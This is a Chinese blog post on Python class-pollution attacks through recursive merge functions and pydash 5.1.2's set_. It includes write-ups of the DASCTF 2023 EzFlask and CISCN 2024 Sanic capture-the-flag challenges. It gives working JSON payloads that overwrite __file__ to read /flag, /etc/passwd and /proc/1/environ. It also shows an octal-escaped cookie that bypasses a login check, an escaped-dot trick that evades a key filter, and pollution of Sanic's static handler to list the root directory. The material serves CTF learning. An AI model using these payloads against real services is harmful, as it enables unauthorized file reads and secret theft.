python原型链污染

python原型链污染

​ 后面会有跟着Article_kelp慢慢操作的,前面先面向题目学习。

背景:

​ 国赛遇到了这个考点,然后之后的DASCTF夏季挑战赛也碰到了,抓紧粗略学一手,学了JavaScript之后再深究原型链污染。

简介:

​ python 中的原型链污染是指通过修改对象原型链中的属性,对程序的行为产生以外影响或利用漏洞进行攻击的一种技术。

​ 在 Python中,对象的属性和方法可以通过原型链继承来获取。每个对象都有一个原型,原型上定义了对象可以访问的属性和方法。当对象访问属性或方法时,会先在自身查找,如果找不到就会去原型链上的上级对象中查找,原型链污染攻击的思路是通过修改对象原型链中的属性,使得程序在访问属性或方法时得到不符合预期的结果。常见的原型链污染攻击包括修改内置对象的原型、修改全局对象的原型等

​ 这个知识点应用的范围比较小,仅当题目中出现utilsmergePydash(5.1.2)模块中的setset_with函数才会用上。

merge(没遇到过具体题型,先简单说下):

​ 首先是下面这个程序,可以再merge打个断点,debug试试看:

class father:
    secret = "hello"
class son_a(father):
    pass
class son_b(father):
    pass
def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)
instance = son_b()
payload = {
    "__class__" : {
        "__base__" : {
            "secret" : "world"
        }
    }
}
print(son_a.secret)
#hello
print(instance.secret)
#hello
merge(payload, instance)
print(son_a.secret)
#world
print(instance.secret)
#world
print(father.secret)
#world

​ 这就是一个简单的污染father类的secret属性的一个程序,可以看到的是,最后father.secret确实是被污染了。

​ 当然,内置属性例如 __str__,

特别注意:

​ 并不是所有的类的属性都可以被污染,如Object的属性就无法被污染,所以需要目标类能够被切入点类或对象可以通过属性值查找获取到

大佬是这么说的

通过断点调试可以看出这个merge函数在走到hasattr处,由于我们的payload是一层字典套一层字典,就会递归调用merge,并且由于getattr(dst,k),dst就在一直按着payload的键发生变化,从到类,再到父类,最后把父类的secret赋值为polluted,成功实现了原型链污染。

payload也很好理解,其实就是利用了python的链式继承关系,最后找到这个类即可,和SSTI通过链式继承关系找os模块很像。

类的内置属性,如__str__也可以被污染,但是需要注意,并不是所有类的属性都可以被污染,比如Object就无法被污染。

pydash(5.1.2):

​ 由于暂时不会Sanic框架的编写,所以先暂时用下flask框架, 差距应该不大。

​ 先看看下面这个代码:

from pydash import set_

class Father:
    secret_value = "safe"

class Pollution(object):
    def __init__(self):
        pass

pollutant = Pollution()
father = Father()

payload = {
    "key" : "__class__.__init__.__globals__.father.secret_value",
    "value" : "polluted"
}

key = payload["key"]
value = payload["value"]

print(father.secret_value)
#safe
set_(pollutant,key, value)
print(father.secret_value)
#polluted

​ 如上,我们最后成功污染了Father类的secret_value属性,大概思路就是通过 key 里的这个链子去找到 father.secret_value 这个属性,然后进行污染,污染为 value 的值。

​ 也正因为如此,所以写一个Web服务来试试看:

from flask import Flask
from pydash import set_
import json

app = Flask(__name__)

class Pollute:
    def __init__(self):
        pass

@app.route('/', methods=['GET', 'POST'])
def hello_world():
    return open(__file__).read()

@app.route('/pollute', methods=['GET', 'POST'])
def Pollution():
    payload = {
        r"key": r"__init__.__globals__.__file__",
        r"value": r"D:\html study\PyCharm Project\flask_pydash1\flag"
    }
    key = payload['key']
    value = payload['value']
    pollute = Pollute()
    set_(pollute,key,value)
    return "Finished pollute "


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000,debug=True)

​ 不知为何,这里写的Web服务中,Pollution() 这里传入reqeust参数总是会出错,所以这里就用这种方式直接规定了key和value的值,作为一种输入方式。

​ 首先第一次访问根路由,得到的页面如下:

在这里插入图片描述

​ 之后,尝试访问下/pollute路由,返回了一个 Finished pollute ,随后再去访问下根路由,得到的如下:

在这里插入图片描述

​ 成功读取到了我提前准备的flag。

​ 原因就是因为在__globals__里找到了__file__属性,然后才能进行污染。

[DASCTF 2023 & 0X401七月暑期挑战赛]EzFlask:

​ (小声嘀咕):前面才刚说了没遇到merge的题,这就遇到了。

​ 首先,打开就是源码:

import uuid

from flask import Flask, request, session
from secret import black_list
import json

app = Flask(__name__)
app.secret_key = str(uuid.uuid4())

def check(data):
    for i in black_list:
        if i in data:
            return False
    return True

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

class user():
    def __init__(self):
        self.username = ""
        self.password = ""
        pass
    def check(self, data):
        if self.username == data['username'] and self.password == data['password']:
            return True
        return False

Users = []

@app.route('/register',methods=['POST'])
def register():
    if request.data:
        try:
            if not check(request.data):
                return "Register Failed"
            data = json.loads(request.data)
            if "username" not in data or "password" not in data:
                return "Register Failed"
            User = user()
            merge(data, User)
            Users.append(User)
        except Exception:
            return "Register Failed"
        return "Register Success"
    else:
        return "Register Failed"

@app.route('/login',methods=['POST'])
def login():
    if request.data:
        try:
            data = json.loads(request.data)
            if "username" not in data or "password" not in data:
                return "Login Failed"
            for user in Users:
                if user.check(data):
                    session["username"] = data["username"]
                    return "Login Success"
        except Exception:
            return "Login Failed"
    return "Login Failed"

@app.route('/',methods=['GET'])
def index():
    return open(__file__, "r").read()

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5010)

​ 审计一下,发现了几个点,首先是:

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

​ 就像最开始说的那样,存在merge函数,然后下一个有用的信息是:

@app.route('/',methods=['GET'])
def index():
    return open(__file__, "r").read()

​ 读取了内置属性 __file__ 的值,最后一个重要的信息是:

@app.route('/register',methods=['POST'])
def register():
    if request.data:
        try:
            if not check(request.data):
                return "Register Failed"
            data = json.loads(request.data)
            if "username" not in data or "password" not in data:
                return "Register Failed"
            User = user()
            merge(data, User)
            Users.append(User)
        except Exception:
            return "Register Failed"
        return "Register Success"
    else:
        return "Register Failed"

​ 这里发现,在该函数中调用了 merge() 函数,并且,data可控,那么,payload应该就显而易见了:

{
    "username":"a",
    "password":"b",
    "__class__":{
        "__init__":{
            "__globals__":{
                "__file__" : "/flag"#当flag在根目录下以及flag文件名知道的情况下
            }
        }
    }
}

在这里插入图片描述

​ 但是,上传却失败了?(这儿可能会出现两个问题,除了黑名单本身的问题外,还有个重点问题,也会导致失败,就是一定要把Content-Type修改为application/json)看看这儿:

from secret import black_list

​ 虽然挺明显的,但还是很阴。很显然,在check函数下,有个与黑名单的比较,推测应该是这儿过不了,不过,当我们依次把那几个变量修改一下之后,发现,当__init__被修改成__int__后,返回的是 Register Success,所以,这里似乎只需要绕过__init__就行了,先做如下测试:

class A:
    def __init__(self):
        pass
    def check(self):
        pass

a = A()
print(a.__class__.check.__globals__)

#{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x00000122A3EB56D0>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': 'D:\\html study\\PyCharm Project\\flask_pydash1\\test.py', '__cached__': None, 'A': <class '__main__.A'>, 'a': <__main__.A object at 0x00000122A405FA50>}

​ 发现我们可以通过对象的方法来获取__globals__全局变量,所以payload可以如下构造:

{
    "username":"a",
    "password":"b",
    "__class__":{
        "check":{
            "__globals__":{
                "__file__" : "/flag"
            }
        }
    }
}

​ 但是最后读取根路由的时候出现了哥问题,那就是,flag文件名不对。

在这里插入图片描述

​ 令人窒息的操作。不过有一点儿或许有点儿希望,那就是环境变量,如果环境变量里面也没有的话,那我可就真没法了,说干就干,首先,环境变量可以通过 /proc/$PID/environ 来读取,这里推测有可能需要用到爆破。

在这里插入图片描述

​ 之后读取根路由:

在这里插入图片描述

​ 运气好,flag刚好就在环境变量里。flag如下:

flag{1084bd02-8273-4a0b-a490-08451805df3a}

[Ciscn2024 初赛] sanic

​ 根路由提示: where is my flag?,f12后发现提示了/src路由,访问后获得源码:

from sanic import Sanic
from sanic.response import text, html
from sanic_session import Session
import pydash
# pydash==5.1.2


class Pollute:
    def __init__(self):
        pass


app = Sanic(__name__)
app.static("/static/", "./static/")
Session(app)


@app.route('/', methods=['GET', 'POST'])
async def index(request):
    return html(open('static/index.html').read())


@app.route("/login")
async def login(request):
    user = request.cookies.get("user")
    if user.lower() == 'adm;n':
        request.ctx.session['admin'] = True
        return text("login success")

    return text("login fail")


@app.route("/src")
async def src(request):
    return text(open(__file__).read())


@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):
    if request.ctx.session.get('admin') == True:
        key = request.json['key']
        value = request.json['value']
        if key and value and type(key) is str and '_.' not in key:
            pollute = Pollute()
            pydash.set_(pollute, key, value)
            return text("success")
        else:
            return text("forbidden")

    return text("forbidden")


if __name__ == '__main__':
    app.run(host='0.0.0.0')

​ 初步审一下逻辑,有用的信息如下:

@app.route("/src")
async def src(request):
    return text(open(__file__).read())

​ 一眼看上去没什么,但是和下面这个结合起来就不一样了:

@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):
    if request.ctx.session.get('admin') == True:
        key = request.json['key']
        value = request.json['value']
        if key and value and type(key) is str and '_.' not in key:
            pollute = Pollute()
            pydash.set_(pollute, key, value)
            return text("success")
        else:
            return text("forbidden")

    return text("forbidden")

​ 在admin这个路由中,可以清晰地看到pydash.set_()函数,结合上一个信息,应该是打python的原型链污染__file__来读文件,那么,还有个路由需要注意:

@app.route("/login")
async def login(request):
    user = request.cookies.get("user")
    if user.lower() == 'adm;n':
        request.ctx.session['admin'] = True
        return text("login success")

    return text("login fail")

​ 这里可以发现的是,我们需要传入一个Cookie的值为user=adm;n 才行,但是,试过了,不行,为啥呢?

注意:以下为我个人分析方式,由于我本人异常菜鸡,所以很有可能是错误的,不可盲目相信。

​ 然后我们盯住user = request.cookies.get("user")这一行代码,对着cookie同时按住ctrl+左键,找到这一行内容,跟进:

在这里插入图片描述

​ 发现如下源码:

    @property
    def cookies(self) -> RequestParameters:
        """Incoming cookies on the request

        Returns:
            RequestParameters: Incoming cookies on the request
        """

        if self.parsed_cookies is None:
            self.get_cookies()
        return cast(CookieRequestParameters, self.parsed_cookies)

​ 跟进 get_cookies()

    def get_cookies(self) -> RequestParameters:
        cookie = self.headers.getone("cookie", "")
        self.parsed_cookies = CookieRequestParameters(parse_cookie(cookie))
        return self.parsed_cookies

​ 这里审过前面那个对象,重要程度没有再跟进parse_cookie(cookie)高,所以跟进parse_cookie(cookie)

def parse_cookie(raw: str) -> Dict[str, List[str]]:
    """Parses a raw cookie string into a dictionary.

    The function takes a raw cookie string (usually from HTTP headers) and
    returns a dictionary where each key is a cookie name and the value is a
    list of values for that cookie. The function handles quoted values and
    skips invalid cookie names.

    Args:
        raw (str): The raw cookie string to be parsed.

    Returns:
        Dict[str, List[str]]: A dictionary containing the cookie names as keys
        and a list of values for each cookie.

    Example:
        ```python
        raw = 'name1=value1; name2="value2"; name3=value3'
        cookies = parse_cookie(raw)
        # cookies will be {'name1': ['value1'], 'name2': ['value2'], 'name3': ['value3']}
        ```
    """  # noqa: E501
    cookies: Dict[str, List[str]] = {}

    for token in raw.split(";"):
        name, sep, value = token.partition("=")
        name = name.strip()
        value = value.strip()

        # Support cookies =value or plain value with no name
        # https://github.com/httpwg/http-extensions/issues/159
        if not sep:
            if not name:
                # Empty value like ;; or a cookie header with no value
                continue
            name, value = "", name

        if COOKIE_NAME_RESERVED_CHARS.search(name):  # no cov
            continue

        if len(value) > 2 and value[0] == '"' and value[-1] == '"':  # no cov
            value = _unquote(value)

        if name in cookies:
            cookies[name].append(value)
        else:
            cookies[name] = [value]

    return cookies

​ 这里有一点需要注意:

 for token in raw.split(";"):
        name, sep, value = token.partition("=")
        name = name.strip()
        value = value.strip()

​ 这个代码很显然是将分号前后分割成了两个字符串,也就是说,我们想要输入的Cookie: user=adm;n会变成user=adm以及n这两个串。

​ 根据这几行,大概可以发现最后返回的内容和什么有关了:

        if len(value) > 2 and value[0] == '"' and value[-1] == '"':  # no cov
            value = _unquote(value)

        if name in cookies:
            cookies[name].append(value)
        else:
            cookies[name] = [value]

    return cookies

​ 很明显,最终返回的是 cookies ,但是每次操作cookies都是增加的value参数,由此,根据 value = _unquote(value),这里跟进_unquote(value)

def _unquote(str):  # no cov
    if str is None or len(str) < 2:
        return str
    if str[0] != '"' or str[-1] != '"':
        return str

    str = str[1:-1]

    i = 0
    n = len(str)
    res = []
    while 0 <= i < n:
        o_match = OCTAL_PATTERN.search(str, i)
        q_match = QUOTE_PATTERN.search(str, i)
        if not o_match and not q_match:
            res.append(str[i:])
            break
        # else:
        j = k = -1
        if o_match:
            j = o_match.start(0)
        if q_match:
            k = q_match.start(0)
        if q_match and (not o_match or k < j):
            res.append(str[i:k])
            res.append(str[k + 1])
            i = k + 2
        else:
            res.append(str[i:j])
            res.append(chr(int(str[j + 1 : j + 4], 8)))  # noqa: E203
            i = j + 4
    return "".join(res)

​ 感觉,这个就是我们最主要的利用的点。

​ 首先是这几行:

    if str is None or len(str) < 2:
        return str
    if str[0] != '"' or str[-1] != '"':
        return str

    str = str[1:-1]

​ 判断传入的字符串(这里推测是user=XXXX中的XXXX),发现如果第一个字符不是两种引号,则直接返回,如果是引号,则掐头去尾,把引号去掉。之后的代码我不大会审,跑去问了下AI,可能有点儿智障,不过给了我一个方向,测试了一下,能成:

    i = 0
    n = len(str)
    res = []
    while 0 <= i < n:
        o_match = OCTAL_PATTERN.search(str, i)
        q_match = QUOTE_PATTERN.search(str, i)
        if not o_match and not q_match:
            res.append(str[i:])
            break
        # else:
        j = k = -1
        if o_match:
            j = o_match.start(0)
        if q_match:
            k = q_match.start(0)
        if q_match and (not o_match or k < j):
            res.append(str[i:k])
            res.append(str[k + 1])
            i = k + 2
        else:
            res.append(str[i:j])
            res.append(chr(int(str[j + 1 : j + 4], 8)))  # noqa: E203
            i = j + 4

在这里插入图片描述

​ 后面还给了个它给写的改进的代码,不过就不放这儿了。

​ 根据这个答案猜想,可能是通过八进制进行的绕过,测试一下,访问下login路由,然后修改cookie的值为Cookie: user="adm\073n",之后试试看能否登陆成功?

在这里插入图片描述

​ 成功了 (≧▽≦)o

​ 这里它返回了个Session值,然后将它给的Session值写到请求头内,然后访问admin路由,发现并没有 给我们直接forbidden掉,说明成功了。之后就是正儿八经的原型链污染读文件了,第一波,先读一下,先来个第一个payload:

{
"key"  : "__init__.__globals__.__file__",
"value" : "/etc/passwd"
}

​ 然而,恭喜了,每过,被forbidden了。回去看看,破案了,admin路由函数中存在这么一个比较:if key and value and type(key) is str and '_.' not in key:,这个就卡住我了。先来看下这几行:

        key = request.json['key']
        value = request.json['value']
        if key and value and type(key) is str and '_.' not in key:
            pollute = Pollute()
            pydash.set_(pollute, key, value)

​ 似乎需要绕过的仅仅只有key中的 '_.'字符串,那么,需要的就是对key进行操作的地方应该重点观察,所以,上面这个代码应该重点看一看,当然, 前面的所有都没有用,最有用的只有pydash.set_(pollute, key, value),那么,没办法了,跟进set_()函数:

def set_(obj, path, value):
    """
    Sets the value of an object described by `path`. If any part of the object path doesn't exist,
    it will be created.

    Args:
        obj (list|dict): Object to modify.
        path (str | list): Target path to set value to.
        value (mixed): Value to set.

    Returns:
        mixed: Modified `obj`.

    Warning:
        `obj` is modified in place.

    Example:

        >>> set_({}, 'a.b.c', 1)
        {'a': {'b': {'c': 1}}}
        >>> set_({}, 'a.0.c', 1)
        {'a': {'0': {'c': 1}}}
        >>> set_([1, 2], '[2][0]', 1)
        [1, 2, [1]]
        >>> set_({}, 'a.b[0].c', 1)
        {'a': {'b': [{'c': 1}]}}

    .. versionadded:: 2.2.0

    .. versionchanged:: 3.3.0
        Added :func:`set_` as main definition and :func:`deep_set` as alias.

    .. versionchanged:: 4.0.0

        - Modify `obj` in place.
        - Support creating default path values as ``list`` or ``dict`` based on whether key or index
          substrings are used.
        - Remove alias ``deep_set``.
    """
    return set_with(obj, path, value)

​ 算是,好消息吧,直接就看到了path,我们传入的key或许就是这个叫path的东西,毕竟那个链子看起来也很像是路径。好,没啥内容,跟进set_with(obj, path, value)

def set_with(obj, path, value, customizer=None):
    """
    This method is like :func:`set_` except that it accepts customizer which is invoked to produce
    the objects of path. If customizer returns undefined path creation is handled by the method
    instead. The customizer is invoked with three arguments: ``(nested_value, key, nested_object)``.

    Args:
        obj (list|dict): Object to modify.
        path (str | list): Target path to set value to.
        value (mixed): Value to set.
        customizer (callable, optional): The function to customize assigned values.

    Returns:
        mixed: Modified `obj`.

    Warning:
        `obj` is modified in place.

    Example:

        >>> set_with({}, '[0][1]', 'a', lambda: {})
        {0: {1: 'a'}}

    .. versionadded:: 4.0.0

    .. versionchanged:: 4.3.1
        Fixed bug where a callable `value` was called when being set.
    """
    return update_with(obj, path, pyd.constant(value), customizer=customizer)

​ 盯着path,继续跟进:

def update_with(obj, path, updater, customizer=None):  # noqa: C901
    """
    This method is like :func:`update` except that it accepts customizer which is invoked to produce
    the objects of path. If customizer returns ``None``, path creation is handled by the method
    instead. The customizer is invoked with three arguments: ``(nested_value, key, nested_object)``.

    Args:
        obj (list|dict): Object to modify.
        path (str|list): A string or list of keys that describe the object path to modify.
        updater (callable): Function that returns updated value.
        customizer (callable, optional): The function to customize assigned values.

    Returns:
        mixed: Updated `obj`.

    Warning:
        `obj` is modified in place.

    Example:

        >>> update_with({}, '[0][1]', lambda: 'a', lambda: {})
        {0: {1: 'a'}}

    .. versionadded:: 4.0.0
    """
    if not callable(updater):
        updater = pyd.constant(updater)

    if customizer is not None and not callable(customizer):
        call_customizer = partial(callit, clone, customizer, argcount=1)
    elif customizer:
        call_customizer = partial(callit, customizer, argcount=getargcount(customizer, maxargs=3))
    else:
        call_customizer = None

    default_type = dict if isinstance(obj, dict) else list
    tokens = to_path_tokens(path)

    if not pyd.is_list(tokens):  # pragma: no cover
        tokens = [tokens]

    last_key = pyd.last(tokens)

    if isinstance(last_key, PathToken):
        last_key = last_key.key

    target = obj

    for idx, token in enumerate(pyd.initial(tokens)):
        if isinstance(token, PathToken):
            key = token.key
            default_factory = pyd.get(tokens, [idx + 1, "default_factory"], default=default_type)
        else:
            key = token
            default_factory = default_type

        obj_val = base_get(target, key, default=None)
        path_obj = None

        if call_customizer:
            path_obj = call_customizer(obj_val, key, target)

        if path_obj is None:
            path_obj = default_factory()

        base_set(target, key, path_obj, allow_override=False)

        try:
            target = base_get(target, key, default=None)
        except TypeError as exc:  # pragma: no cover
            try:
                target = target[int(key)]
                _failed = False
            except Exception:
                _failed = True

            if _failed:
                raise TypeError(f"Unable to update object at index {key!r}. {exc}")

    value = base_get(target, last_key, default=None)
    base_set(target, last_key, callit(updater, value))

    return obj

​ 继续跟进path,似乎整个函数里就只有一个:tokens = to_path_tokens(path),还是无脑根:

def to_path_tokens(value):
    """Parse `value` into :class:`PathToken` objects."""
    if pyd.is_string(value) and ("." in value or "[" in value):
        # Since we can't tell whether a bare number is supposed to be dict key or a list index, we
        # support a special syntax where any string-integer surrounded by brackets is treated as a
        # list index and converted to an integer.
        keys = [
            PathToken(int(key[1:-1]), default_factory=list)
            if RE_PATH_LIST_INDEX.match(key)
            else PathToken(unescape_path_key(key), default_factory=dict)
            for key in filter(None, RE_PATH_KEY_DELIM.split(value))
        ]
    elif pyd.is_string(value) or pyd.is_number(value):
        keys = [PathToken(value, default_factory=dict)]
    elif value is UNSET:
        keys = []
    else:
        keys = value

    return keys

​ 这儿不知道怎么操作了,但是跟进 RE_PATH_KEY_DELIM后得到了个正则表达式:

RE_PATH_KEY_DELIM = re.compile(r"(?<!\\)(?:\\\\)*\.|(\[\d+\])")

​ 问了下ai,ai的回复中有一点儿值得注意:

请注意,这个正则表达式在处理复杂的转义序列时可能不是完美的,特别是当字符串中包含连续的转义字符(如 \\\\.),这些字符可能意图表示一个实际的点号但前面有偶数个反斜杠。此外,如果点号后面紧跟的是字母或其他非数字字符,它仍然会被匹配为分隔符,即使这可能不是预期的。

​ 我个人已经别无他法了,照着它给的这个这\\\\.试着绕了一下,结果成功了,payload如下:

{
"key"  : "__init__\\\\.__globals__\\\\.__file__",
"value" : "/etc/passwd"
}

​ 访问src路由,成功读取到了文件:

在这里插入图片描述

​ 好了,照理来说,这个题目如果这样的话已经成功了,利用如下payload直接读取进程的环境变量即可:

{
"key"  : "__init__\\\\.__globals__\\\\.__file__",
"value" : "/proc/1/environ"
}

在这里插入图片描述

​ 但是,看了下大佬们的wp似乎有另一种姿势,算是一种非预期吧。

下面跟着大佬们走:

​ 先看如下位置:

app = Sanic(__name__)
app.static("/static/", "./static/")
Session(app)

​ 跟进 static(),得到如下内容:

    def static(
        self,
        uri: str,
        file_or_directory: Union[PathLike, str],
        pattern: str = r"/?.+",
        use_modified_since: bool = True,
        use_content_range: bool = False,
        stream_large_files: Union[bool, int] = False,
        name: str = "static",
        host: Optional[str] = None,
        strict_slashes: Optional[bool] = None,
        content_type: Optional[str] = None,
        apply: bool = True,
        resource_type: Optional[str] = None,
        index: Optional[Union[str, Sequence[str]]] = None,
        directory_view: bool = False,
        directory_handler: Optional[DirectoryHandler] = None,
    ):
        """Register a root to serve files from. The input can either be a file or a directory.

        This method provides an easy and simple way to set up the route necessary to serve static files.

        Args:
            uri (str): URL path to be used for serving static content.
            file_or_directory (Union[PathLike, str]): Path to the static file
                or directory with static files.
            pattern (str, optional): Regex pattern identifying the valid
                static files. Defaults to `r"/?.+"`.
            use_modified_since (bool, optional): If true, send file modified
                time, and return not modified if the browser's matches the
                server's. Defaults to `True`.
            use_content_range (bool, optional): If true, process header for
                range requests and sends  the file part that is requested.
                Defaults to `False`.
            stream_large_files (Union[bool, int], optional): If `True`, use
                the `StreamingHTTPResponse.file_stream` handler rather than
                the `HTTPResponse.file handler` to send the file. If this
                is an integer, it represents the threshold size to switch
                to `StreamingHTTPResponse.file_stream`. Defaults to `False`,
                which means that the response will not be streamed.
            name (str, optional): User-defined name used for url_for.
                Defaults to `"static"`.
            host (Optional[str], optional): Host IP or FQDN for the
                service to use.
            strict_slashes (Optional[bool], optional): Instruct Sanic to
                check if the request URLs need to terminate with a slash.
            content_type (Optional[str], optional): User-defined content type
                for header.
            apply (bool, optional): If true, will register the route
                immediately. Defaults to `True`.
            resource_type (Optional[str], optional): Explicitly declare a
                resource to be a `"file"` or a `"dir"`.
            index (Optional[Union[str, Sequence[str]]], optional): When
                exposing against a directory, index is  the name that will
                be served as the default file. When multiple file names are
                passed, then they will be tried in order.
            directory_view (bool, optional): Whether to fallback to showing
                the directory viewer when exposing a directory. Defaults
                to `False`.
            directory_handler (Optional[DirectoryHandler], optional): An
                instance of DirectoryHandler that can be used for explicitly
                controlling and subclassing the behavior of the default
                directory handler.

        Returns:
            List[sanic.router.Route]: Routes registered on the router.

        Examples:
            Serving a single file:
            ```python
            app.static('/foo', 'path/to/static/file.txt')
            ```

            Serving all files from a directory:
            ```python
            app.static('/static', 'path/to/static/directory')
            ```

            Serving large files with a specific threshold:
            ```python
            app.static('/static', 'path/to/large/files', stream_large_files=1000000)
            ```
        """  # noqa: E501

        name = self.generate_name(name)

        if strict_slashes is None and self.strict_slashes is not None:
            strict_slashes = self.strict_slashes

        if not isinstance(file_or_directory, (str, bytes, PurePath)):
            raise ValueError(
                f"Static route must be a valid path, not {file_or_directory}"
            )

        try:
            file_or_directory = Path(file_or_directory).resolve()
        except TypeError:
            raise TypeError(
                "Static file or directory must be a path-like object or string"
            )

        if directory_handler and (directory_view or index):
            raise ValueError(
                "When explicitly setting directory_handler, you cannot "
                "set either directory_view or index. Instead, pass "
                "these arguments to your DirectoryHandler instance."
            )

        if not directory_handler:
            directory_handler = DirectoryHandler(
                uri=uri,
                directory=file_or_directory,
                directory_view=directory_view,
                index=index,
            )

        static = FutureStatic(
            uri,
            file_or_directory,
            pattern,
            use_modified_since,
            use_content_range,
            stream_large_files,
            name,
            host,
            strict_slashes,
            content_type,
            resource_type,
            directory_handler,
        )
        self._future_statics.add(static)

        if apply:
            self._apply_static(static)

​ 注释里面存在这两句话:

            directory_view (bool, optional): Whether to fallback to showing
                the directory viewer when exposing a directory. Defaults
                to `False`.
            directory_handler (Optional[DirectoryHandler], optional): An
                instance of DirectoryHandler that can be used for explicitly
                controlling and subclassing the behavior of the default
                directory handler.

​ 大致意思就是directory_view为True时,会开启列目录功能,directory_handler中可以获取指定的目录。跟进下directory_handler ,如下:

        if not directory_handler:
            directory_handler = DirectoryHandler(
                uri=uri,
                directory=file_or_directory,
                directory_view=directory_view,
                index=index,
            )

​ 再跟进DirectoryHandler,发现如下

def __init__(
        self,
        uri: str,
        directory: Path,
        directory_view: bool = False,
        index: Optional[Union[str, Sequence[str]]] = None,
    ) -> None:

​ 我们发现只要我们将directory污染为根目录,directory_view污染为True,就可以看到根目录的所有文件了。

后续我在Windows上测试次次运行不了,这里就直接借一下大佬们的代码在这儿,我就不实操了

from sanic import Sanic
from sanic.response import text, html
#from sanic_session import Session
import sys
import pydash
# pydash==5.1.2


class Pollute:
    def __init__(self):
        pass


app = Sanic(__name__)
app.static("/static/", "./static/")
#Session(app)


#@app.route('/', methods=['GET', 'POST'])
#async def index(request):
    #return html(open('static/index.html').read())


#@app.route("/login")
#async def login(request):
    #user = request.cookies.get("user")
    #if user.lower() == 'adm;n':
        #request.ctx.session['admin'] = True
        #return text("login success")

    #return text("login fail")


@app.route("/src")
async def src(request):
    print(app.router.name_index)
    return text(open(__file__).read())


@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):
    key = request.json['key']
    value = request.json['value']
    if key and value and type(key) is str and '_.' not in key:
        pollute = Pollute()
        pydash.set_(pollute, key, value)
        return text("success")
    else:
        return text("forbidden")

#print(app.router.name_index['name'].directory_view)

if __name__ == '__main__':
    app.run(host='0.0.0.0')

​ 输出应该接近这样:

在这里插入图片描述

​ 看出来了路由是 "__mp_main__.static",之后,就可以直接一把梭了(具体链子怎么找,参考gxngxngxn大佬的文章):

{
"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view",
"value": 1
}

​ 上面的payload是开启目录功能。

{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts","value": ["/"]}

​ 这个payload是将指定目录污染为根目录,之后访问/static/目录,就能看到根目录下开始的所有文件的文件名了/

{"key":"__init__\\\\.__globals__\\\\.__file__","value": "/flag文件名字"}

​ 这个payload是用来读flag文件的,之后访问src路由即可获得flag。

参考文章:

基础资料

Python原型链污染

Python原型链污染变体(prototype-pollution-in-python)

Pydash 原型链污染

做题参考:

从CISCN2024的sanic引发对python“原型链”的污染挖掘

CISCN2024-WEB-Sanic gxngxngxn

  • 10
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值